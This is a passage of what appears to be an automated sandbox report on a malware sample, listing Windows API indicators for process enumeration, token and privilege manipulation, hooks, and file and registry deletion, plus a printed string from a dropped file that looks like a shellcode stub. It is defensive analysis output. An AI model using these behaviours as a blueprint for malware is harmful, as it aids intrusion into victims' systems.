"Module32First"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Module32FirstW" (Indicator: "Module32First"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "Module32NextW" (Indicator: "Module32Next"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp")8b:T5d9,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; File: "New Text Document mod.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")8c:Tc53,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "New Text Document mod.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "New Text Document mod.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "New Text Document mod.exe") Found reference to API "GetFileAttributesTransactedW" (Indicator: "GetFileAttributes"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "New Text Document mod.exe") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "New Text Document mod.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "New Text Document mod.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "New Text Document mod.exe") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; File: "New Text Document mod.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "New Text Document mod.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "New Text Document mod.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "New Text Document mod.exe") Found reference to API "PathFindFileNameW" (Indicator: "PathFindFileName"; File: "New Text Document mod.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "New Text Document mod.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "New Text Document mod.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "New Text Document mod.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "New Text Document mod.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "New Text Document mod.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "New Text Document mod.exe") Found reference to API "NtQueryAttributesFile" (Indicator: "QueryAttributesFile"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetFileInformationByHandleExW" (Indicator: "GetFileInformationByHandle"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ReadDirectoryChangesW" (Indicator: "ReadDirectoryChange"; File: "New Text Document mod.exe") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "New Text Document mod.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp")8d:T70c,Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "New Text Document mod.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "New Text Document mod.exe") Found reference to API "GetModuleFileNameExA" (Indicator: "GetModuleFileName"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameExW" (Indicator: "GetModuleFileName"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameExA" (Indicator: "GetModuleFileName"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameExW" (Indicator: "GetModuleFileName"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")8e:Tc2a,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "New Text Document mod.exe") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "New Text Document mod.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "New Text Document mod.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005036.00000000.270331.59AFE000.00000002.mdmp")8f:T464,Found registry deletion API: "RegDeleteKeyTransactedW" in file "00000000-00001088.00000000.271453.00D51000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyExW" in file "00000000-00001088.00000000.271453.00D51000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyW" in file "New Text Document mod.exe" Found registry deletion API: "RegDeleteValueW" in file "New Text Document mod.exe" Found registry deletion API: "RegDeleteValueA" in file "New Text Document mod.exe" Found registry deletion API: "RegDeleteKeyA" in file "New Text Document mod.exe" Found registry deletion API: "RegDeleteKeyTransactedW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry deletion API: "RegDeleteKeyExW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry deletion API: "RegDeleteKeyW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry deletion API: "RegDeleteValueW" in "00000000-00001088.00000000.271453.00E64000.00000002.mdmp" Found registry deletion API: "RegDeleteValueA" in "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp"90:T746,file/memory contains long string with (Indicator: "OpenProcess"; File: "elf.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "sup.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "sys.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "Uninstall.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "syschnu.exe") Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "New Text Document mod.exe") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00002000-00000C2B-3201523539") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00002000-00000C2B-3202202670") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005036.00000000.270331.59AFE000.00000002.mdmp")91:T4dd,Observed import api "OpenProcess" which can be "used to open a process handle" [Source: GL0ygTD.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: BrowserInstaller.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: 0rXld4E.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: rabert.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: multifunctionalbackup294.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: 8RsL970.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: Setup.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: random.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: cooking.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: fzCgCtE.exe] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: vulkan-1.dll] Observed import api "OpenProcess" which can be "used to open a process handle" [Source: HCBSXXl.exe]92:T15cb,Found string "\Device\HarddiskVolume3\Windows\System32\attrib.exe" (Indicator: "\Device\"; Source: "00000000-00005036-00000BC0-3218343769") Found string "\Device\HarddiskVolume3\Windows\System32\cmd.exe" (Indicator: "\Device\"; Source: "00000000-00005036-00000BC0-3218588862") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00007356-00000BC0-3218753872") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" (Indicator: "\Device\"; Source: "00000000-00001088-00000BC0-3237466306") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Local\Temp\tmpFB41.tmp" (Indicator: "\Device\"; Source: "00000000-00008220-00000BC0-3256697426") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00000968.00000000.272733.007B0000.00000004.mdmp, 00000000-00000968.00000000.272733.021A0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00000968.00000000.272733.007B0000.00000004.mdmp, 00000000-00000968.00000000.272733.021A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000968.00000000.272733.007B0000.00000004.mdmp") Found string "verData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00000968.00000000.272733.021A0000.00000004.mdmp") Found string "verData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00000968.00000000.272733.021A0000.00000004.mdmp") Found string "tindows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001088.00000000.271453.01590000.00000004.mdmp") Found string "tindows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001088.00000000.271453.01590000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00001088.00000000.271453.01590000.00000004.mdmp, 00000000-00001088.00000000.271453.01630000.00000004.mdmp, 00000000-00001088.00000000.271453.03A00000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00001088.00000000.271453.01590000.00000004.mdmp, 00000000-00001088.00000000.271453.01630000.00000004.mdmp, 00000000-00001088.00000000.271453.03A00000.00000004.mdmp") Found string "dows\System32\Drivers\Dr" (Indicator: "\drivers\"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "dows\System32\Drivers\Dr" (Indicator: "system32\drivers"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001088.00000000.271453.01630000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000000.269103.016C0000.00000004.mdmp, 00000000-00002000.00000000.269103.03470000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.016C0000.00000004.mdmp, 00000000-00002000.00000001.271022.03470000.00000004.mdmp, 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000000.269103.016C0000.00000004.mdmp, 00000000-00002000.00000000.269103.03470000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.016C0000.00000004.mdmp, 00000000-00002000.00000001.271022.03470000.00000004.mdmp, 00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000001.271022.01430000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "Device\HarddiskVolume3\DosDevices\C:\??\Volume{44294f7c-6083-41c6-8176-3c202d755616}" (Indicator: "\DosDevices\"; Source: "00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002136.00000000.272233.004A0000.00000004.mdmp, 00000000-00002136.00000000.272233.02440000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002136.00000000.272233.004A0000.00000004.mdmp, 00000000-00002136.00000000.272233.02440000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004944.00000000.271771.00410000.00000004.mdmp, 00000000-00004944.00000000.271771.022C0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004944.00000000.271771.00410000.00000004.mdmp, 00000000-00004944.00000000.271771.022C0000.00000004.mdmp")93:T4d4,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "New Text Document mod.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "New Text Document mod.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "New Text Document mod.exe") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "New Text Document mod.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")94:T432,Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "New Text Document mod.exe") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "New Text Document mod.exe") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "New Text Document mod.exe") Found reference to API "SetWinEventHook" (Indicator: "SetWinEventHook"; File: "New Text Document mod.exe") Found reference to API "UnhookWinEvent" (Indicator: "UnhookWinEvent"; File: "New Text Document mod.exe") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "New Text Document mod.exe") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp")95:Ta76,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "New Text Document mod.exe") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "New Text Document mod.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "New Text Document mod.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000968.00000000.272733.00401000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00002000.00000000.269103.01430000.00000004.mdmp, 00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005036.00000000.270331.59AFE000.00000002.mdmp")96:T10ba,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "New Text Document mod.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "New Text Document mod.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "New Text Document mod.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "New Text Document mod.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "New Text Document mod.exe") Found reference to API "AddMandatoryAce" (Indicator: "AddMandatoryAce"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SetSecurityDescriptorSacl" (Indicator: "SetSecurityDescriptorSacl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "New Text Document mod.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "New Text Document mod.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "New Text Document mod.exe") Found reference to API "SetEntriesInAclA" (Indicator: "SetEntriesInAcl"; File: "New Text Document mod.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "New Text Document mod.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "New Text Document mod.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "New Text Document mod.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "AddMandatoryAce" (Indicator: "AddMandatoryAce"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp")97:T87f,Found reference to API "!This program cannot be run in DOS mode.Rich}E.text`.rdata@.jdjgPAYLOAD:ExitProcessVirtualAllocKERNEL32.dllAQAPRH1QVeHrPM1JJH1AXAX^YZAXAYAZHXAYZHws2_32ZATIA^PPM1j@AYh}(XAWYhunMaKERNEL32.dllVirtualAllocExitProcess" (Indicator: "ExitProcess"; File: "tmp.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "New Text Document mod.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00001088.00000000.271453.00D51000.00000020.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "New Text Document mod.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")98:T1886,Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: BrowserInstaller.exe] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier 